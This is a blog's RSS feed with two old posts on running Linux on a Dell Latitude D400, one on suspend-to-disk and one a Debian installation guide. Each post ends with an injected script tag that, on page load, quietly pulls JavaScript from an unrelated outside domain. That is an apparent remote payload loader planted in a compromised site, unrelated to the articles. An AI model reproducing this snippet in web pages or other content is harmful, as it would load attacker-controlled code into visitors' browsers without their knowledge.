<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jkx@home &#187; d400</title>
	<atom:link href="http://www.larsen-b.com/tags/d400/feed" rel="self" type="application/rss+xml" />
	<link>http://www.larsen-b.com</link>
	<description>Titanium Exposé</description>
	<lastBuildDate>Fri, 31 Oct 2025 02:15:37 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5</generator>
		<item>
		<title>Suspend to disc with Dell Latitude D400 on Linux</title>
		<link>http://www.larsen-b.com/Article/173.html</link>
		<comments>http://www.larsen-b.com/Article/173.html#comments</comments>
		<pubDate>Sun, 24 Oct 2004 12:31:27 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Computers]]></category>
		<category><![CDATA[acpi]]></category>
		<category><![CDATA[d400]]></category>
		<category><![CDATA[dell]]></category>
		<category><![CDATA[linux]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[I now have a Dell Latitude D400 for 1 month. This little (really small) computer is pretty nice to use, but it right now, it&#8217;s really hard to have suspend working on this kind of stuff. The main reason: it &#8230; <a href="http://www.larsen-b.com/Article/173.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I now have a Dell Latitude D400 for 1 month. This little (really small) computer is pretty nice to use, but it right now, it&#8217;s really hard to have suspend working on this kind of stuff. The main reason: it only support ACPI (no APM), and ACPI isn&#8217;t well supported by the Linux kernel.</p>
<p>I have tested several way to fix this issue. The only that&#8217;s working fine right now, is to use swsup. So to make it work:</p>
<ul class="simple">
<li>install the latest 2.6.9 kernel (the 2.6.8 has a issue w/ agpart and drm)</li>
<li>in kernel select &#8216;ACPI -&gt; sleep state&#8217;</li>
<li>and &#8216;ACPI -&gt; swsup&#8217;</li>
<li>build the kernel</li>
<li>create a swap partition if you don&#8217;t have one (i resized a ntfs w/ qparted)</li>
<li>mkswap /dev/hda4 (for example)</li>
<li>add &#8216;resume=/dev/hda4&#8242; in your boot prompt (in grub for example)</li>
</ul>
<p>Now your system is ready. Reboot :) ..To put the the system in standby and dump the current state in the swap: <strong>echo 4 &gt; /proc/acpi/sleep</strong>.</p>
<p>Next step simply bind the power button on this action. This is done w/ the acpid.</p>
<pre class="literal-block">#!/bin/sh
# /etc/acpi/powerbtn.sh

# put the box in swsup mode
echo 4 &gt; /proc/acpi/sleep</pre>
<p>Beside the S2/S3 ACPI doesn&#8217;t work right now, swsup permit to have suspend to disk without too much trouble.<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/173.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Installing Debian on a Dell Latitude D400</title>
		<link>http://www.larsen-b.com/Article/99.html</link>
		<comments>http://www.larsen-b.com/Article/99.html#comments</comments>
		<pubDate>Sat, 28 Feb 2004 14:36:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Computers]]></category>
		<category><![CDATA[d400]]></category>
		<category><![CDATA[dell]]></category>
		<category><![CDATA[linux]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Contents Introduction Latitude D400 Base Installation Finishing the install X / Sound / PCMCIA / ACPI XFree Sound PCMCIA ACPI About Introduction At my work, some people have bought some D400 laptop to use Linux. During the installation, we run &#8230; <a href="http://www.larsen-b.com/Article/99.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<div id="contents" class="contents topic">
<p class="topic-title first"><a name="contents">Contents</a></p>
<ul class="simple">
<li><a id="id1" class="reference" name="id1" href="#introduction">Introduction</a>
<ul>
<li><a id="id2" class="reference" name="id2" href="#latitude-d400">Latitude D400</a></li>
</ul>
</li>
<li><a id="id3" class="reference" name="id3" href="#base-installation">Base Installation</a></li>
<li><a id="id4" class="reference" name="id4" href="#finishing-the-install">Finishing the install</a></li>
<li><a id="id5" class="reference" name="id5" href="#x-sound-pcmcia-acpi">X /  Sound / PCMCIA / ACPI</a>
<ul>
<li><a id="id6" class="reference" name="id6" href="#xfree">XFree</a></li>
<li><a id="id7" class="reference" name="id7" href="#sound">Sound</a></li>
<li><a id="id8" class="reference" name="id8" href="#pcmcia">PCMCIA</a></li>
<li><a id="id9" class="reference" name="id9" href="#acpi">ACPI</a></li>
</ul>
</li>
<li><a id="id10" class="reference" name="id10" href="#about">About</a></li>
</ul>
</div>
<div id="introduction" class="section">
<h1><a class="toc-backref" name="introduction" href="#id1">Introduction</a></h1>
<p>At my work, some people have bought some D400 laptop to use Linux.<br />
During the installation, we run into various issues. This short<br />
document try to explain, how we managed to have a working Debian<br />
on this.</p>
<p>For various reasons, we want to use a debian and this doc is<br />
about this, but take care that installing a Redhat or a Mandrake<br />
is really easier than a debian of this kind of laptop. I hope<br />
debian developpers will fix this soon.</p>
<div id="latitude-d400" class="section">
<h2><a class="toc-backref" name="latitude-d400" href="#id2">Latitude D400</a></h2>
<ul class="simple">
<li>Celeron (centrino) 1.4 Ghz / 512 Mo of RAM / 30 Go</li>
<li>CDROM / Floppy drive: USB combo</li>
<li>network card: 1Gb Broadcom BCM5700</li>
<li>sound / video : <a class="reference" href="http://downloadfinder.intel.com/scripts-df/Product_Filter.asp?ProductID=865">Intel 82845G</a></li>
<li>Wifi: True Mobile</li>
</ul>
</div>
</div>
<div id="base-installation" class="section">
<h1><a class="toc-backref" name="base-installation" href="#id3">Base Installation</a></h1>
<p>First we downloaded the latest debian iso (a woody). The main<br />
problem is that despite the bios can boot the OS using the<br />
USB cdrom, after the woody CD boot, you can&#8217;t access to<br />
the cdrom content, because debian developper forget to put<br />
the usb-storage in the initrd.img. (this works fine on<br />
RH .. ). My first try was to rebuild the debian boot system<br />
with the debian boot-floppies package. After a try i discover<br />
that usb-storage doesn&#8217;t detect the usb cdrom when you<br />
compile it in the kernel, so i need to use it as module<br />
in initrd, but i decided to try another method.</p>
<p>I used a windows FAT filesystem:</p>
<ul class="simple">
<li>boot windows XP (provided by dell)</li>
<li>create a new partition of 1Go ( you will use this as swap after the install)</li>
<li>copy the debian content on this</li>
<li>copy the <a class="reference" href="http://www.broadcom.com/drivers/downloaddrivers.php">BCM5700</a> driver on this too</li>
<li>reboot /  press F12 to boot on the debian CD</li>
<li>after the boot : press ALT-F2 to open a empty console</li>
<li>mkdir /remote</li>
<li>mount the fat fs on this: mount /dev/hda3 /remote</li>
<li>go thought the installation process, when it ask<br />
for the default debian package, simply choose:<br />
&#8216;mounted partition&#8217; &#8216;/remote&#8217;</li>
<li>and do a normal install</li>
<li>WARNING don&#8217;t install the PCMCIA modules, because it will lock the boot process (as on every Dell !! )</li>
</ul>
</div>
<div id="finishing-the-install" class="section">
<h1><a class="toc-backref" name="finishing-the-install" href="#id4">Finishing the install</a></h1>
<p>As i want to have a <em>recent</em> OS, i choose to install<br />
the testing, so simply install from the CD:</p>
<ul class="simple">
<li>kernel-header for the current kernel (bf24)</li>
<li>install gcc / make / unzip</li>
<li>build the <a class="reference" href="http://www.broadcom.com/drivers/downloaddrivers.php">BCM5700</a> driver</li>
<li>and load it in the kernel.</li>
<li>simply configure the network w/ ifconfig / route</li>
<li>now you can use a ftp to continue the install in testing</li>
<li>apt-get update / dist-upgrade</li>
<li>install latest kernel (2.4.24 for me)</li>
<li>rebuild the <a class="reference" href="http://www.broadcom.com/drivers/downloaddrivers.php">BCM5700</a> for this kernel</li>
</ul>
</div>
<div id="x-sound-pcmcia-acpi" class="section">
<h1><a class="toc-backref" name="x-sound-pcmcia-acpi" href="#id5">X /  Sound / PCMCIA / ACPI</a></h1>
<p>Now we have a debian testing running, we can configure it.</p>
<div id="xfree" class="section">
<h2><a class="toc-backref" name="xfree" href="#id6">XFree</a></h2>
<ul class="simple">
<li>download <a class="reference" href="http://downloadfinder.intel.com/scripts-df/Product_Filter.asp?ProductID=865">Intel 82845G</a> driver</li>
<li>make / install / insmod it (agpgart / i830)</li>
<li>add them to /etc/modules</li>
<li>download the <a class="reference" href="http://www.chzsoft.com.ar/855patch.tar.gz">855 patch</a></li>
<li>build this patch and run it <em>./855patch 32768</em></li>
<li>this will allocate 32Mo of memory for the video card</li>
<li>put this in your /etc/init.d/bootmisc.sh to have this at every boot</li>
<li>install the XFree 4.3 (from unstable since it&#8217;s not in testing right now) (it won&#8217;t work with 4.2)</li>
<li>XFree should now detect a i830 video card (it won&#8217;t do if you aren&#8217;t using intel&#8217;s agpgart )</li>
</ul>
</div>
<div id="sound" class="section">
<h2><a class="toc-backref" name="sound" href="#id7">Sound</a></h2>
<ul class="simple">
<li>load the i810_audio  module (to use gnomeetting use Alsa one)</li>
<li>put it in /etc/modules to have it a boot</li>
</ul>
</div>
<div id="pcmcia" class="section">
<h2><a class="toc-backref" name="pcmcia" href="#id8">PCMCIA</a></h2>
<ul class="simple">
<li>One every Dell, default PCMCIA settings will block the system so:</li>
<li>apt-get install pcmcia-cs / modules</li>
<li>when it ask for starting it answer: NO !!</li>
<li>edit the /etc/pcmcia/config.opts</li>
<li>and change include port to: <em>include port 0&#215;100-0x4ff, port 0xc00-0xcff</em></li>
<li>now you can start it :)</li>
</ul>
</div>
<div id="acpi" class="section">
<h2><a class="toc-backref" name="acpi" href="#id9">ACPI</a></h2>
<p>To enable the support for acpi in the default debian kernels you should<br />
append the acpi=on at boot.</p>
<ul class="simple">
<li>Add this <em>&#8220;append=&#8221;acpi=on&#8221;</em> to the lilo.conf</li>
<li><em>apt-get install acpid</em></li>
<li>now the power button should stop the laptop</li>
<li>the <a class="reference" href="http://acpi.sourceforge.net/documentation/sleep.html">acpi sleep</a> command doesn&#8217;t work right now, so you can&#8217;t do &#8216;suspend<br />
to ram&#8217; or &#8216;to disk&#8217;, but this should be avalaible in kernel soon.</li>
</ul>
</div>
</div>
<div id="about" class="section"></div>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/99.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>
